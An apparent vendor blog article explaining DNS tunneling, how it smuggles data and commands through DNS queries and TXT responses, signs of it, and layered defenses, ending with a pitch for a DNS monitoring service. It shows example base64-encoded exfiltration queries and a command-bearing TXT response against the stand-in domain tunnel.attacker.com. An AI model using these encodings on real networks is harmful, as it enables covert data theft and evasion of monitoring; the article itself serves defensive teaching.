Most organizations block or inspect almost every protocol leaving their network. Web traffic goes through proxies. Email is scanned. File transfers are logged. But there's one protocol that flows almost everywhere, largely uninspected, because the network would stop functioning without it: DNS.
Attackers know this. DNS tunneling is a technique that smuggles data in and out of a network by encoding it inside DNS queries and responses. It turns the protocol that translates domain names into IP addresses into a covert communication channel for command and control, data exfiltration, and bypassing network controls. Because DNS is essential and rarely inspected at the same depth as other protocols, tunneling can run undetected for long periods.
This guide explains how DNS tunneling works, why it's so effective, real-world examples, and how organizations can detect and defend against it.
How DNS Tunneling Works
DNS tunneling exploits the fact that DNS queries can contain arbitrary data in the form of subdomain labels, and DNS responses can return arbitrary data in various record types. By encoding information into these fields, an attacker can move data through DNS without ever making a direct connection to their destination.
Here's the basic mechanism:
The Setup
The attacker controls an authoritative nameserver for a domain they own, for example tunnel.attacker.com. They configure this nameserver to run tunneling software rather than serving normal DNS records. Any DNS query for a subdomain of tunnel.attacker.com gets routed to this malicious nameserver.
Data Exfiltration (Outbound)
Malware on a compromised machine wants to send stolen data out of the network. Instead of opening a suspicious outbound connection, it encodes the data into DNS queries:
c2VjcmV0ZGF0YQ.tunnel.attacker.com
bW9yZWRhdGFoZXJl.tunnel.attacker.com
ZmluYWxjaHVuaw.tunnel.attacker.comEach subdomain label is a base32 or base64 encoded chunk of the data being exfiltrated. The compromised machine's normal DNS resolver dutifully forwards these queries up the DNS hierarchy until they reach the attacker's authoritative nameserver. The attacker's server decodes the subdomain labels to reconstruct the stolen data.
The compromised machine never connects directly to the attacker. It just makes DNS queries, which look like normal name resolution to most network monitoring.
Command and Control (Inbound)
The attacker can also send data back. DNS responses can contain data in TXT records, CNAME records, or other record types. The attacker's nameserver responds to queries with encoded commands:
query: cmd.tunnel.attacker.com
response: TXT "ZG93bmxvYWQgcGF5bG9hZCBmcm9t..."The malware decodes the response to receive its next instruction. This creates a bidirectional channel entirely within DNS.
Why DNS Tunneling Is So Effective
DNS Is Almost Never Blocked
Networks can function without web access, without email, without most protocols. But they cannot function without DNS. Every device needs to resolve names. As a result, DNS (port 53) is almost universally allowed outbound, even in highly restricted environments. Captive portals, hotel WiFi, and corporate networks that block everything else often still allow DNS, which is why DNS tunneling is also used to bypass paywalls and access restrictions.
DNS Traffic Is High Volume and Rarely Inspected
A typical machine makes thousands of DNS queries per day. The sheer volume makes manual inspection impractical, and many organizations don't log DNS queries at all, or log them without analyzing the content. Tunneling traffic hides in this noise.
Recursive Resolution Hides the Source
The compromised machine doesn't connect to the attacker's server directly. It queries its configured DNS resolver, which recursively resolves the query through the DNS hierarchy. By the time the query reaches the attacker's nameserver, it appears to come from a legitimate recursive resolver, not the compromised machine. This indirection obscures the connection.
It Bypasses Many Security Controls
Firewalls that block direct connections don't stop DNS tunneling because the traffic uses allowed DNS infrastructure. Data loss prevention (DLP) tools focused on HTTP and email may miss data leaving through DNS. Even air-gapped-ish environments that only allow DNS resolution can be vulnerable.
Real-World Use of DNS Tunneling
DNS tunneling is not just a theoretical technique. It has been used in numerous real-world attacks and is a standard capability in many malware toolkits:
- Data exfiltration in major breaches: Multiple advanced persistent threat (APT) groups have used DNS tunneling to exfiltrate stolen data slowly and quietly, avoiding the large outbound transfers that trigger alerts.
- Malware command and control: Malware families have used DNS as a C2 channel because it's resilient and hard to block. Even if other C2 channels are discovered and blocked, the DNS channel often survives.
- Tunneling tools: Publicly available tools like iodine, dnscat2, and others make DNS tunneling accessible. These were often built for legitimate purposes (bypassing restrictive networks) but are readily repurposed by attackers.
- Bypassing paid WiFi: A more benign use, but illustrative: people use DNS tunneling to get free internet access on networks that allow DNS resolution before payment. The same technique that bypasses a paywall can exfiltrate corporate data.
This is closely related to the DNS TXT record command-and-control technique we covered in our analysis of a Go supply chain attack that used DNS TXT records as a covert channel. Both exploit the same fundamental weakness: DNS is trusted and rarely inspected.
Signs of DNS Tunneling
DNS tunneling leaves detectable patterns, even though individual queries can look benign. The signs include:
Unusually Long Domain Names
Tunneling encodes data into subdomain labels, producing long, random-looking hostnames. A query for c2VjcmV0ZGF0YWdvZXNoZXJl.tunnel.example.com is very different from www.example.com. Long labels with high entropy (randomness) are a red flag.
High Query Volume to a Single Domain
Tunneling requires many queries to move data. A single internal machine making hundreds or thousands of queries to subdomains of one specific domain is suspicious, especially if that domain isn't a known, legitimate service.
Unusual Record Types
Tunneling often uses TXT, NULL, or CNAME records to carry data, because they can hold more arbitrary content than A records. A spike in TXT queries to an unfamiliar domain is a potential indicator.
High Entropy in Query Names
Encoded data looks random. Statistical analysis of query names can detect the high entropy characteristic of base32/base64 encoded data, distinguishing tunneling from normal human-readable domain names.
Queries to Newly Registered or Low-Reputation Domains
Tunneling domains are often registered specifically for the attack. Queries to recently registered domains, or domains with no legitimate web presence, warrant scrutiny.
How to Defend Against DNS Tunneling
1. Log and Analyze DNS Queries
You cannot detect what you don't observe. The foundation of DNS tunneling defense is logging DNS queries and analyzing them for the patterns described above: long labels, high entropy, high query volume to single domains, and unusual record types. Many organizations don't log DNS at all, which is the biggest gap.
2. Use DNS Filtering and Threat Intelligence
Protective DNS services and DNS firewalls can block queries to known-malicious domains and newly registered domains. Threat intelligence feeds that identify tunneling infrastructure help block known bad actors. This doesn't stop tunneling to a brand-new attacker domain, but it raises the bar.
3. Implement Query Rate Limiting
Limiting the rate of DNS queries per host can slow tunneling to the point of impracticality. Legitimate use rarely requires hundreds of queries per second to a single external domain.
4. Restrict Outbound DNS
Configure your network so that internal machines can only make DNS queries through your designated internal resolvers, and block direct outbound DNS (port 53) from endpoints to the internet. This forces all DNS through a chokepoint where it can be logged and analyzed. Attackers can still tunnel through your resolver, but you gain a single point of visibility.
5. Monitor Your Own Domains
This is where DNS Assistant fits into the broader DNS security picture. While DNS tunneling detection on your internal network requires endpoint and network-level DNS query analysis (a different layer), monitoring your own authoritative DNS is a critical complementary control.
Attackers frequently use compromised or abandoned domains and subdomains as tunneling infrastructure. If your organization has dangling DNS records or subdomains vulnerable to takeover, an attacker could claim them and use your trusted domain as tunneling infrastructure, inheriting your domain's reputation to evade reputation-based filtering.
DNS Assistant helps by:
- Detecting dangling DNS records across 22+ cloud providers, closing the subdomains an attacker could claim for tunneling or C2
- Monitoring TXT record changes, since TXT records are a common tunneling and C2 vehicle. Unauthorized TXT records on your domain are flagged immediately
- Tracking all record changes, so any unexpected modification to your DNS, which could indicate your domain is being repurposed, triggers an alert
- WHOIS monitoring to detect unauthorized changes to your domain registration
The Defense-in-Depth Picture
DNS tunneling defense requires multiple layers working together:
- Network layer: DNS query logging, entropy analysis, rate limiting, and forcing DNS through internal resolvers. This catches tunneling attempts from compromised internal machines.
- Threat intelligence layer: Blocking known-malicious and newly registered domains. This catches tunneling to known bad infrastructure.
- Your own DNS layer: Monitoring your authoritative DNS for dangling records, unauthorized TXT records, and unexpected changes. This prevents your own domains from being weaponized as tunneling infrastructure.
No single control stops DNS tunneling completely. The technique is fundamentally difficult to eliminate because DNS must remain functional. But layered detection and monitoring make tunneling far harder to execute undetected.
Check Your DNS Security Posture
Start by understanding your own DNS exposure. Run a Free Domain Risk Report to scan your domains for dangling records, unexpected TXT records, and other configuration issues that could let an attacker repurpose your infrastructure. Use the DNS lookup tool to inspect your current records.
For continuous monitoring that catches dangling DNS, unauthorized TXT records, and record changes in real time, sign up at dnsassistant.com.
This article discusses DNS tunneling for educational and defensive purposes. Understanding attack techniques is essential for building effective defenses.
Start Monitoring Your DNS Today
Get real-time alerts, track record changes, and keep your domains secure with DNS Assistant.
Sign Up Free